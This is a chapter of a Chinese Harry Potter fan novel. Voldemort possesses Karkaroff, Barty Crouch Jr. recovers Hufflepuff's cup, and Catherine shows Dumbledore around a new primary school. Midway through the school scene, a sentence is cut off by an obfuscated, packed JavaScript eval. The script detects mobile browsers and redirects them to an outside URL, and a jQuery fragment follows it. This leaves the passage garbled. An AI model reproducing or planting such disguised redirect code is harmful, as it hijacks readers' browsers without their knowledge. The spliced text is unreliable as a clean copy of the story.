187.金杯
作品:《[HP]协议结婚后发现离不掉了》 夏日的燥热席卷了整个阿尔巴尼亚,即使是在山林的最深处,也让人觉得酷热难耐。
卡卡洛夫不停地为自己补充淡盐水,试图用降温咒语拯救自己,直到太阳渐渐西斜,才稍微舒了口气。从小在北欧长大的他可从来没受过这种罪。
今天又是毫无进展的一天。
他幻影移形回到营地,看到小巴蒂正坐在凉爽的帐篷里喝着冰镇南瓜汁,帐篷前的空地摆着烤肉架子,在炭火上均匀翻滚着一只羊羔的骨架,上面的肉几乎都被剔光了。
“来点?”小巴蒂懒洋洋地指了指烤羊羔,“还有不少肉呢。”
“你让我吃你的剩饭?”卡卡洛夫怒火中烧,他辛辛苦苦搜索山林,小巴蒂倒好,优哉游哉吃烤肉。
他这一瞬间想掐死小巴蒂,但身上瞬时传来的疼痛告诉他,他和小巴蒂的诅咒契约还在,他没办法背叛小巴蒂。
“我今天还是什么都没搜到。”卡卡洛夫冷冰冰地说完,转身回了自己的帐篷。
小巴蒂头都没抬,翘着腿刷星镜,他看到了有关星辉小学的报道,心里一阵烦躁,如果有什么黑魔法能诅咒布莱克早死,他一定不惜一切代价弄死他。
手中的烟已经燃烧到烟蒂,小巴蒂弹了弹烟灰,站起来,随手用消失咒处理了烤羊,接着他走进帐篷,在悬挂在墙上的一张地图上用红笔圈出一大块区域,打上一个叉。
这片地方已经地毯式搜索了整整六遍,连一点黑魔法的痕迹也没有,小巴蒂决定明天换个地方。
他把烟蒂丢到帐篷外。
第二天早上,小巴蒂发现卡卡洛夫不见了。
他的帐篷的卷帘根本没放下来,桌上是昨晚的剩披萨,行军床上的毯子卷得乱七八糟,一点体温都没有。
追踪咒显示,卡卡洛夫昨晚就匆匆离开了,就在他帐篷外十几英尺的地方幻影移形,消失不见。
小巴蒂啧了一声,转身走进帐篷,仔细搜查一遍。帐篷虽然被施了反追踪咒,但还是让他找到了一些蛛丝马迹。
在浴室洗手池柜子底下,静静地躺着一块金属护臂,这是用来屏蔽黑魔标记的,小巴蒂自己就佩戴着一块,睡觉都不敢摘下。
那么,卡卡洛夫的这块为什么会被丢弃在浴室呢?
小巴蒂啧了一声,心想,情况有点不妙啊。
*
卡卡洛夫摘下金属护臂只是因为他受不了了。
阿尔巴尼亚的炎热让他出了一身汗,金属紧紧裹着左臂的皮肤完全不透气,让他长了一胳膊痱子,痒的要死却连挠都不能挠。
于是,晚上在帐篷里洗澡的时候,他决定摘下这块金属。
反正现在黑魔标记已经淡到几乎看不到,黑魔王不死不活的对他也没有那么大的威胁了。
卡卡洛夫顺利洗完澡,上了去痱子的药,转头就把那块屏蔽金属忘在了脑后。
半夜,他被左臂的黑魔标记疼醒了,火烧火燎的感觉刺入骨髓,差点从床上滚到地上。
卡卡洛夫匆忙去浴室寻找被他遗忘的金属护臂,却手忙脚乱地把护臂掉在了地上。
护臂滚啊滚,滚到了浴室柜底下,卡卡洛夫的眼神逐渐茫然,他脑海里什么念头都没有了,只剩下一个坐标。
“我得去那里!”他喃喃道,不再理会什么护臂,披上衣服,走出帐篷,幻影移形。
*
森林中的一片空地上,一堆燃烧的松针散发着怪异的香味,周围的泥地隐隐约约有一些银色的痕迹,不远处,倒着一只死去已久的独角兽。
如果是在白天,也许可以看到那些银色独角兽的血在地上画了一个巨大的黑魔标记。
显然,有人想通过这种方式扩大黑魔标记的控制力。
当卡卡洛夫幻影移形到这里时,那堆松针的火焰刚好熄灭,他瞬间清醒过来。
他知道自己落入了黑魔王的圈套,他立刻就要逃走,但藏在落叶堆里的巨蛇早就蓄势待发,瞬间缠紧了他的身体。
他的肩胛骨被蛇的巨力搅碎,双手顿时失去力气,手中的魔杖掉在地上。
一只大马士革黑山羊从矮灌木后面绕出来,走到卡卡洛夫面前。
卡卡洛夫眯起眼睛,在朦胧的月光下仔细辨认这种来自地狱的山羊。
羊脸层层褶皱皮肤下是一双无机质的方瞳眼,接着,它的脸像裂开一般,把两只眼睛挤到两边去,一张蛇一样般的脸从羊脸中间浮现。
猩红狭长的眼睛睁开,盯上了卡卡洛夫。
卡卡洛夫瞬间就忘记了疼痛,只剩下惊恐,他牙齿打颤,尖叫道:“黑魔王!主人!饶了我!”
“我亲爱的叛徒仆人,真没想到,我还能再次见到你。”伏地魔哈哈大笑,露出一嘴尖牙,嘴边还有银色的独角兽的血。
“不是的,我是被逼的!我身上有诅咒契约!主人!我是被逼无奈啊!是小巴蒂……”卡卡洛夫惨叫一声,诅咒的反噬让他皮肤皴裂,他不能再说下去了,再说下去,他的心脏就要碎了。
伏地魔盯着卡卡洛夫,见他确实被折磨得够呛,才缓缓开口:“我能去除你身上的诅咒,作为交换,你愿意把你的灵魂贡献给我吗?”
卡卡洛夫疯狂点头,为了活命,他立刻投降:“主人,我当然愿意……”
伏地魔也是没什么人可以用了,召唤仪式这么多天,只来了卡卡洛夫一个人,他不能再等下去了。
邓布利多一直在搜捕他,他已经逃脱了四次,不知道第五次还能不能逃脱。
他必须想办法离开阿尔巴尼亚。
他需要一个仆人,即使这个仆人曾经是个叛徒,但他有自信能完全掌控他。
伏地魔离开他附身的大马士革山羊,穿透卡卡洛夫的脸,冲向他的后脑勺。
山羊倒地,身体迅速腐烂,另一边,卡卡洛夫痛得尖叫起来,两眼一翻晕了过去。
几分钟后,卡卡洛夫醒来,重新睁开双眼,一道猩红色从他眼底闪过。
“纳吉尼,松开!”他发出嘶嘶的声音。
纳吉尼顺从地松开卡卡洛夫,从他身上滑下来。
卡卡洛夫捡起魔杖,给自己治骨伤,接着他脱下衣服,用魔杖沾了独角兽的血,在胸膛上画了一个复杂的图形,坐下来,念着拗口的如尼文魔咒。
咒语起效了,他的皮肤不再皲裂,细小的伤口慢慢愈合,心脏也不再痛了。
“我累了,卡卡洛夫,身体暂时还给你。收拾好这里,回英国。”黏在卡卡洛夫后脑勺的伏地魔命令道。
卡卡洛夫身体一松,重新拿到了身体的控制权,不由踉跄一下,差点摔倒。
他不敢忤逆黑魔王,甚至一点点反抗的心思也不敢有,因为黑魔王此刻与他的大脑互通,思想共享,但凡他有一丝不合适的举动,黑魔王就会立刻拿走他身体的控制权。
处理完独角兽和山羊的尸体,又一点点移除所有的痕迹,卡卡洛夫想起了他留在帐篷里的财物,不由得有些心疼。
就在他想回去收拾一趟行李的时候,他的嘴自动发出了黑魔王的声音:“别管那些破烂,直接去英国,我给你一个坐标,那是一个没人知道的地方。”
卡卡洛夫结结巴巴地说:“主人,您还在啊?”
“你以为呢?”黑魔王冷酷地反问。
卡卡洛夫不敢再胡思乱想,按照黑魔王给他的坐标,秘密离开阿尔巴尼亚,前往英国。
*
小巴蒂等了两天也没等到卡卡洛夫,只能自己收拾了东西拔营离去。
顺便,他把此事报告给了邓布利多和凯瑟琳。
凯瑟琳觉得卡卡洛夫大概凶多吉少,有些忧虑重重。
凯瑟琳和小巴蒂在星镜里讲道:“如果我们现在不是忙着开发星镜的新功能,我可能会立刻动身前往阿尔巴尼亚。但我决定还是先把这个功能做出来,这对将来我们搜索整个阿尔巴尼亚有帮助。”
没过多久,小巴蒂就明白了凯瑟琳提到的新功能是什么。
八月初,星镜新推出了地图和定位功能,这大大方便了小巴蒂,至少他不用在纸质地图上猜测他自己的位置。
地毯式搜索,变得更加精准了。
*
邓布利多在阿尔巴尼亚能找到的魔法痕迹越来越少。
他之前几乎每隔几天就会发现一些明显是被附身过的动物尸体,顺着这些线索,他有时还能抓住伏地魔的尾巴,但现在有将近一个月,他没有再发现任何动物尸体。
八月底,邓布利多在一棵树的根部泥土里翻出了一根沾着银色血液的松针。
再联想到卡卡洛夫的失踪,邓布利多叹息道:“看起来,他找到帮手了。”
伏地魔极大可能已经离开了阿尔巴尼亚。
邓布利多自认为留在这里已经没有任何意义,决定返回英国,临走前,他找到小巴蒂,问他要不要一起回去。
“我很早就说过,邓布利多,我待在这里的目的和你的不一样。”小巴蒂说话不怎么客气,“你不用管我。”
邓布利多锐利的眼睛盯着他看了一会儿,才点了点头:“那么,保重。”
邓布利多转身离开,他想,不管小巴蒂是出于什么目的站在他们这边的,至少他脖子上还有一根绳子。
凯瑟琳是他的枷锁,也是他的诅咒。
邓布利多走后,小巴蒂望着空荡荡的树林,冷笑一声,不找到金杯就这么灰溜溜地回去是绝无可能的。
如果伏地魔真的决定倚靠昔日叛徒卡卡洛夫,那么他绝对不会把那个金杯魂器带在身上。
金杯一定还藏在阿尔巴尼亚某个地方。
*
九月一日上午,邓布利多和四位院长来到星辉小学校的开学典礼上,为孩子们送上祝福,鼓励他们打好基础。
孩子们不多,只有三十多个,有些麻瓜出身的孩子不愿意转学,也有些巫师家庭出身的孩子家长对星辉小学校不信任。这三十多个孩子有不少还是西里斯拉着雷古勒斯一家一家走访劝说来的。
按照年龄分年级的话,每个年级只有四五个孩子,实打实的小班授课,教师能关注到每一个学生。
典礼过后,孩子们去上课,西里斯和雷古勒斯忙着招待校董们、魔法部的官员和来自霍格沃茨的教授,而凯瑟琳则单独陪着邓布利多参观校园。
“礼堂出口这一排都是壁炉,方便学生走读,当然如果学生有寄宿需求我们也会提供宿舍。”凯瑟琳介绍道,“我们上楼看看。”
“这里是图书馆,里面的麻瓜书籍超过一半,虽然现在孩子们几乎人手一面星镜,但我想纸质书还是不可或缺的。”
“这里是音乐教室,我想让有兴趣的孩子们每人都有机会选修一门乐器。”
“这里是画室……”
邓布利多感兴趣地透过门上的玻璃往里望去,问道:“凯瑟琳,这里曾经是你的卧室?”
凯瑟琳的声音停顿了片刻,才回答道:“是的,先生,您也曾经来过这里。”
“你已经知道了那个项链是我藏在那里的。”邓布利多轻声道,“凯瑟琳,你恨我吗?恨我几乎亲手安排了你所承受的所有苦难?”
“活着,才有资格说恨。”凯瑟琳叹息一声,垂在身侧的手动了动,还是没忍住,轻轻拥抱了一下邓布利多高大却又衰老的身躯。
“您和阿不福思是我唯一的血亲了,我怎么可能恨您?”她低声说,“我只是惶恐,害怕自己做的不够好,没有达到您的期许。”
“你永远是我们的骄傲,也是你爸爸妈妈的骄傲。”邓布利多说着,摘下眼镜,拿袖口假装擦拭。
凯瑟琳别过脸,假装没有注意到邓布
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636366|161033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利多微湿的眼眶。
*
九月底,星辉小学校已经步入正轨,有雷古勒斯作为代理校长,西里斯和凯瑟琳也完全放心。
而星辉魔法用品公司也即将出海,在美国和法国设立分公司。
卢平和阿加莎各自请缨,准备分别前往美国和法国开疆拓土,发展新市场,英国总部则留给芬妮镇守。
芬妮临时挑大梁,变得相当不自信,她苦苦挽留凯瑟琳留下帮她一段时间,于是,凯瑟琳的阿尔巴尼亚之行又不得不推迟。
十月的伦敦永远等不到一个晴天。
法国魔法部和美国魔法国会分别对星辉公司提出了服务器的管理权监管要求,他们不得不把一部分服务器分出来,转移到海外,移交给当地魔法部监管。
西里斯最近忙着出差处理这些事务,凯瑟琳留在伦敦帮芬妮。
又是一个雨夜,凯瑟琳陪着幻境游戏部加班,敲定了他们第一部大型虚拟幻境游戏的测试版上市时间。
大家庆祝到很晚,街上店铺几乎都打烊了才勾肩搭背离开。
凯瑟琳是最后一个走的,乔乔刚说要送送她,凯瑟琳的星镜就震动起来。
是小巴蒂的信息:“我在破釜酒吧,凯瑟琳。”
发生了什么?小巴蒂怎么从阿尔巴尼亚回来了?
凯瑟琳让乔乔回去,关好店门,用魔杖撑起一把无形的空气大伞,冲进雨幕。
没走几步,她就在破釜酒吧门口看到了淋成了落汤鸡的小巴蒂。
“怎么回事?怎么不打伞?”凯瑟琳快步走过去。
酒吧门口的壁灯映着小巴蒂惨白的脸和几乎没有血色的唇,雨水顺着他的发梢和睫毛流下来,他整个人都摇摇欲坠的。
“我……差点回不来了……”他沙哑着嗓子说,接着,从口袋里掏出一个裂开的、软趴趴严重变形的金杯塞进凯瑟琳手里。
“但我……只是为了能看你一眼……凯瑟琳,”他有点撑不住了,声音越来越轻,“幸不辱命……”
说完,他便虚弱得向前栽倒,凯瑟琳赶紧扶住他。
小巴蒂昏迷前,终于如愿倒向了他怀念的、带着熟悉味道的温暖怀抱。
只可惜,等三天后他醒来,在病床前看到的却是布莱克那张似笑非笑戏谑的脸。
“凯瑟琳呢?我要见她。”小巴蒂问道。如果眼神能杀人,布莱克大概早就横尸当场了。
“你有事和我说也是一样的。”西里斯冷笑一声,“装什么装,你只不过是魔力耗尽了而已,这就挺不住了?”
“那你呢?当我在为凯瑟琳出生入死的时候,你又在干什么?充当她的小白脸吗?”小巴蒂嘲讽道。
西里斯伸手揪住他的睡衣领子,恰在此时,凯瑟琳端着药推门进来,她严厉地喊道:“西里斯,松手!”
西里斯撸了一把小巴蒂的领子,恨不得把他的脖子也撸下来,咬牙切齿地说:“我只是给他理一理领子!”
小巴蒂眼泪汪汪地看向凯瑟琳,眼神似乎在告状。
“松手,你弄疼他了。”凯瑟琳重重拍了一下西里斯后背,转过身去配药。
小巴蒂立刻给了西里斯一个挑衅的眼神。
等小巴蒂喝过药,他才讲起他是如何发现金杯所藏之处的。
“星镜的定位功能帮了我大忙,当我在地图上记录我的搜索路径,偏偏莫名其妙绕过一块地方,我就知道,这个地方不对劲。”
他点开他的星镜,给凯瑟琳看,只见放大的阿尔巴尼亚地图上密密麻麻全部都是小巴蒂走过的路线,像毛线团一样缠在一起,然而,毛线团上却有一块空白的区域,非常突兀。
“我走不进这里,只能绕着这里打转,最后我决定用厉火攻进去。”
凯瑟琳急了:“我不是说过不准用厉火,如果伤到了纳吉尼怎么办?”
“纳吉尼已经死了。”小巴蒂突然说。
“什么?”凯瑟琳愣住了。
“我是说,纳吉尼作为人的那部分意志已经消散了。”小巴蒂示意凯瑟琳拿过他的外套,他从口袋里掏出了一颗断裂的毒牙,上面还套着已经磨坏了的定位环,那是凯瑟琳留给纳吉尼的。
“还有这个,在这颗毒牙旁边的树上,我想是纳吉尼的遗言。”小巴蒂最后掏出的是一块烧焦的树皮,上面写着“杀了我。”
“她用毒牙写的。”凯瑟琳眼眶红了,“我还是没能见到她最后一面。”
“既然找到金杯这么简单,你又是怎么把自己搞到这么狼狈的?”西里斯怀疑地问。
小巴蒂鄙夷地看了他一眼:“厉火烧了三天才烧穿保护咒语,它烧了太多东西,想彻底熄灭它,必须动用我全部的魔力。”
“辛苦了。”凯瑟琳说。他差点死在自己制造的厉火之下,想必其中有太多惊心动魄不能赘述。
她心生怜悯,有点想摸摸他柔顺的头发,但看了西里斯一眼,想想还是算了。
小巴蒂适时转换了一个话题,他笑着质问凯瑟琳:“听说你给了我那亲爱的父亲一个职位?”
“啊,关于这个……”
“没关系,既然他愿意找虐,就让他去吧。我打赌他不出一年就会得到一个最不受欢迎教师的称号。”小巴蒂神情恹恹。
接着,他们又聊了聊最近发生的新闻,以及对最后一个魂器的猜想。
说到最后,小巴蒂的药剂反应来了,他有点困了。
“好吧,那你好好休息,我们就先不打扰你了。”凯瑟琳站起来,准备离开。
“凯瑟琳!”小巴蒂突然喊住她。
“怎么?”凯瑟琳回头。
“我怀疑伏地魔带走了纳吉尼。”他正色道,“如果你在战斗中遇到她,不要手下留情,她早就不是她了。”
“我知道。”凯瑟琳点点头。

